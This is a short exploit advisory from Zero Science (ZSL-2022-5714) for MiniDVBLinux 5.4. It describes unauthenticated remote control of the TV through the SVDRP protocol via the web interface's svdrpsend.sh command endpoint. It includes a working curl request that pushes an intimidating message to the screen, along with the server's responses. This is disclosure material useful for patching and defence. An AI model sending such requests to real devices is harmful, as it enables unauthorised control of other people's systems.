# Exploit Title: MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP - Remote Code Execution (RCE)
# Exploit Author: LiquidWorm
MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP (svdrpsend.sh) Exploit
Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version: <=5.4
Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.
Desc: The application allows the usage of the SVDRP protocol/commands
to be sent by a remote attacker to manipulate and/or control remotely
the TV.
Tested on: MiniDVBLinux 5.4
BusyBox v1.25.1
Architecture: armhf, armhf-rpi2
GNU/Linux 4.19.127.203 (armv7l)
VideoDiskRecorder 2.4.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5714
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5714.php
24.09.2022
--
Send a message to the TV screen:
curl http://ip:8008/?site=commands§ion=system&command=svdrpsend.sh%20MESG%20WE%20ARE%20WATCHING%20YOU!
220 mld SVDRP VideoDiskRecorder 2.4.6; Wed Sep 28 13:07:51 2022; UTF-8
250 Message queued
221 mld closing connection
For more commands:
- https://www.linuxtv.org/vdrwiki/index.php/SVDRP#The_commands